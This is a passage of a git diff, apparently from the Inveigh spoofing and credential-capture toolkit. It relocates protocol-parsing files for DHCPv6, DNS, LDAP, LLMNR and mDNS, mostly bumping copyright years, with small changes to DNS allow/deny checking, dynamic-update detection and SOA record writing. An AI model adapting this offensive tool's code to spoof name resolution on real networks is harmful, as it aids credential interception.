b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs index 6c50e47..c098446 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option14.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs index 606ee13..7dd96fb 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option16.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs index 6abb125..08adf57 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option2.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs index 250bcef..7a47786 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs index 5abbecb..ca197a7 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs index 7641a32..1727525 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs index b7b4a76..2cf7928 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs index 7ed7a2b..7ed7a2b 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs index 557e089..d9dc4b6 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs index b6d522c..05929d9 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs index a24dd45..a24dd45 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs index 45408bd..45408bd 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs index 5a23ffd..c70bd7d 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSChecker.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSChecker.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without @@ -77,6 +77,7 @@ namespace Quiddity.DNS public bool Check(string name, string type, string clientIP) { + if (this.Inspect) { this.OutputMessage = this.OutputInspect; @@ -102,26 +103,16 @@ namespace Quiddity.DNS this.OutputMessage = this.OutputServiceDenied; return false; } - else if (HostIsDenied(name)) + else if (HostIsDenied(name) || FQDNIsDenied(name)) { this.OutputMessage = this.OutputHostDenied; return false; } - else if (!HostIsAllowed(name)) - { - this.OutputMessage = this.OutputIPDenied; - return false; - } - else if (FQDNIsDenied(name)) + else if (!HostIsAllowed(name) && !FQDNIsAllowed(name)) { this.OutputMessage = this.OutputHostDenied; return false; } - else if (!FQDNIsAllowed(name)) - { - this.OutputMessage = this.OutputIPDenied; - return false; - } else if (IPIsDenied(clientIP)) { this.OutputMessage = this.OutputIPDenied; @@ -228,7 +219,7 @@ namespace Quiddity.DNS public bool FQDNIsDenied(string name) { - + if (!Utilities.ArrayIsNullOrEmpty(this.IgnoreHosts) && Array.Exists(this.IgnoreHosts, element => element == name.ToUpper())) { return true; diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSHeader.cs index fbdde7b..bd68c81 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without @@ -165,5 +165,17 @@ namespace Quiddity.DNS return false; } + public bool IsDynamicUpdateRequest() + { + + if (!this.QR && this.Opcode.Equals("0101")) + { + return true; + } + + return false; + } + } + } diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSPacket.cs index b18b50b..74238d9 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSPacket.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSPacket.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSQuestion.cs index 34e2fcb..aa91f4a 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSQuestion.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSQuestion.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSResource.cs index 258a08c..f6ad4f6 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSResource.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSResource.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs index 7d15405..7d15405 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs index ca63c6b..ca63c6b 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs index 23fcfe7..3a233ab 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs @@ -59,6 +59,7 @@ namespace Quiddity.DNS Array.Reverse(indexData); byte[] hostData = Utilities.GetDNSNameBytes(host, false); + //byte[] hostData = Utilities.GetDNSNameBytes(host, true); byte[] hostCompressed = new byte[hostData[0] + 3]; Buffer.BlockCopy(hostData, 0, hostCompressed, 0, hostData[0] + 1); Buffer.BlockCopy(indexData, 0, hostCompressed, hostCompressed.Length - 2, 2); @@ -70,7 +71,7 @@ namespace Quiddity.DNS using (MemoryStream memoryStream = new MemoryStream()) { PacketWriter packetWriter = new PacketWriter(memoryStream); - packetWriter.Write(hostCompressed); + packetWriter.Write(Utilities.GetDNSNameBytes(host, true)); packetWriter.Write(authorityCompressed); packetWriter.BigEndianWrite(this.Serial); packetWriter.BigEndianWrite(this.Refresh); diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs index 391b671..391b671 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs index 34c70cb..82b443e 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPRequest.cs index 7423081..a6e3143 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPResponse.cs index 4ac632d..b5d2898 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/HTTP/HTTPResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs index fec13c4..c0129bf 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs index 7eef831..7eef831 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6DNSSearchList.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs index 2fa9f31..42f3431 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/Options/ICMPv6RecursiveDNS.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/IP/IPHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/IP/IPHeader.cs index 80194ab..9167c5f 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/IP/IPHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/IP/IPHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/LDAPMessage.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/LDAPMessage.cs index 18445ba..5fe7613 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/LDAPMessage.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/LDAPMessage.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs index 8d10047..8d10047 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs index 26720cd..26720cd 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs index 43f565b..43f565b 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs index ee697b7..ee697b7 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs index a62f9a5..a62f9a5 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs index c1a6f1e..c1a6f1e 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPResult.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPResult.cs index 5d53155..7f53dc2 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPResult.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPResult.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs index a9f9670..d6d11a7 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs index 087889b..dd172c6 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs index 3db038e..d0ef4b8 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRChecker.cs index c1ca969..ec071be 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRChecker.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRChecker.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRHeader.cs index 8df7faa..a64bb05 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRPacket.cs index c424a82..c103c21 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRPacket.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRPacket.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs index 7c8fd9e..b919cd5 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRQuestion.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRResource.cs index e4f090e..be4f768 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRResource.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/LLMNR/LLMNRResource.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSChecker.cs index 729adca..0e10de5 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSChecker.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSChecker.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSHeader.cs index 2647e59..3d86d5a 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSPacket.cs index 003a629..a7a8543 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSPacket.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSPacket.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSQuestion.cs index e3b224a..34bee2b 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSQuestion.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSQuestion.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSResource.cs index c24079a..c95d013 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/MDNS/MDNSResource.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSResource.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMChallenge.cs 